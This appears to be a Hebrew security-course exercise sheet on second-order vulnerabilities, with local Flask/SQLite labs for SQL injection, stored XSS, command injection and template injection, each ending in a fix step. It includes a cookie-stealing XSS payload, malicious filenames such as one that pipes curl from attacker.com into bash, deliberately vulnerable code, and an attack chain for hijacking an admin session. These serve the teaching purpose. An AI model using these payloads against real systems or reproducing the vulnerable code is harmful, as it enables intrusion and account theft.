לדלג לתוכן

חולשות מסדר שני - תרגיל

תרגיל 1 - Second-Order SQLi

PortSwigger Lab: SQL injection with filter bypass via XML encoding

משימות

  1. הקימו סביבה מקומית עם Flask ו-SQLite
  2. צרו מערכת הרשמה והתחברות עם הקוד הפגיע מההרצאה
  3. הירשמו עם שם המשתמש: admin'--
  4. התחברו עם המשתמש הזה
  5. שנו סיסמה - ובדקו מה קרה לסיסמת admin המקורי
  6. התחברו כ-admin עם הסיסמה החדשה
  7. תעדו את כל התהליך

תרגיל 2 - Second-Order XSS

משימות

  1. הקימו אפליקציה עם מערכת פרופילים ופאנל ניהול
  2. הירשמו עם שם תצוגה שמכיל payload של XSS:
<img src=x onerror="fetch('http://localhost:8888/?c='+document.cookie)">
  1. גשו לפאנל הניהול שמציג את כל המשתמשים
  2. וודאו שה-XSS מופעל
  3. כעת תקנו את הקוד ובדקו שהתיקון עובד

תרגיל 3 - זיהוי נקודות הזרקה

משימות

בהינתן אפליקציה עם הפונקציונליות הבאה:
- הרשמה (שם, אימייל, ביוגרפיה)
- העלאת קבצים
- תגובות על מוצרים
- פאנל ניהול שמציג פעילות משתמשים
- דוחות יומיים שנשלחים במייל

מפו את כל נקודות ההזרקה האפשריות למתקפות מסדר שני:

  1. לכל נקודת קלט - רשמו איפה הנתון נשמר
  2. לכל נתון שמור - רשמו איפה הוא מוצג/משמש
  3. לכל זוג קלט-פלט - קבעו איזה סוג payload מתאים (SQLi, XSS, SSTI, Command Injection)
  4. דרגו את הסיכון של כל זוג

תרגיל 4 - שרשור חולשות

משימות

  1. הקימו אפליקציה שפגיעה ל-Second-Order XSS
  2. השתמשו ב-XSS כדי:
  3. לגנוב cookie של מנהל
  4. ליצור משתמש admin חדש (דרך CSRF)
  5. לחלץ מידע מפאנל הניהול

  6. תעדו את כל שרשרת התקיפה:

שלב 1: הרשמה עם XSS payload בשם התצוגה
שלב 2: מנהל צופה ברשימת המשתמשים
שלב 3: XSS מופעל - cookie נשלח לתוקף
שלב 4: תוקף משתמש ב-cookie לגישה לפאנל
שלב 5: תוקף מחלץ מידע רגיש

תרגיל 5 - Second-Order Command Injection

משימות

  1. צרו אפליקציה שמאפשרת העלאת קבצים ומעבדת אותם ברקע:
# uploads handler
@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    filename = file.filename
    file.save(f'uploads/{filename}')
    db.execute("INSERT INTO files (name, status) VALUES (?, 'pending')", (filename,))
    return "File queued for processing"

# background processor
def process_pending():
    files = db.execute("SELECT name FROM files WHERE status = 'pending'").fetchall()
    for f in files:
        os.system(f"file uploads/{f[0]} > results/{f[0]}.txt")
  1. העלו קובץ עם שם זדוני:
;id > /tmp/pwned;.txt
$(curl attacker.com/shell.sh|bash).txt
`whoami`.txt
  1. הפעילו את ה-processor ובדקו אם הפקודה בוצעה
  2. תקנו את הקוד

תרגיל 6 - ניתוח קוד

משימות

בהינתן הקוד הבא, מצאו את כל החולשות מסדר שני:

from flask import Flask, request, session, render_template_string
import sqlite3, os

app = Flask(__name__)

@app.route('/register', methods=['POST'])
def register():
    db = sqlite3.connect('app.db')
    username = request.form['username']
    email = request.form['email']
    bio = request.form['bio']
    db.execute("INSERT INTO users (username, email, bio) VALUES (?, ?, ?)",
               (username, email, bio))
    db.commit()
    return "OK"

@app.route('/admin/report')
def admin_report():
    db = sqlite3.connect('app.db')
    users = db.execute("SELECT username, email, bio FROM users").fetchall()
    html = "<h1>User Report</h1>"
    for u in users:
        html += f"<div><b>{u[0]}</b> ({u[1]}): {u[2]}</div>"
    return html

@app.route('/change-email', methods=['POST'])
def change_email():
    db = sqlite3.connect('app.db')
    username = session['username']
    new_email = request.form['email']
    db.execute(f"UPDATE users SET email='{new_email}' WHERE username='{username}'")
    db.commit()
    return "Email updated"

@app.route('/export')
def export():
    db = sqlite3.connect('app.db')
    users = db.execute("SELECT username FROM users").fetchall()
    for u in users:
        os.system(f"echo {u[0]} >> /tmp/export.txt")
    return "Exported"

@app.route('/custom-page')
def custom_page():
    db = sqlite3.connect('app.db')
    user = db.execute("SELECT bio FROM users WHERE id = ?",
                       (session['user_id'],)).fetchone()
    template = f"<h1>Your Page</h1><div>{user[0]}</div>"
    return render_template_string(template)

לכל חולשה:
1. הסבירו מה סוג החולשה
2. כתבו payload לניצול
3. הראו את התוצאה הצפויה
4. כתבו תיקון


אתגר מסכם

תרחיש

מצאתם אפליקציית בלוג עם הפונקציות הבאות:
- הרשמה והתחברות
- כתיבת פוסטים עם כותרת ותוכן
- תגובות על פוסטים
- פאנל ניהול שמציג את כל הפוסטים והתגובות
- ייצוא פוסטים ל-PDF (פעולה ברקע)
- תבניות מייל מותאמות אישית

משימות

  1. מפו את כל נקודות הקלט והפלט
  2. מצאו לפחות 3 חולשות מסדר שני שונות
  3. נצלו כל אחת מהן
  4. שרשרו שתי חולשות לפחות יחד
  5. כתבו דוח עם:
  6. תיאור כל חולשה
  7. צעדי הניצול
  8. השפעה
  9. המלצות תיקון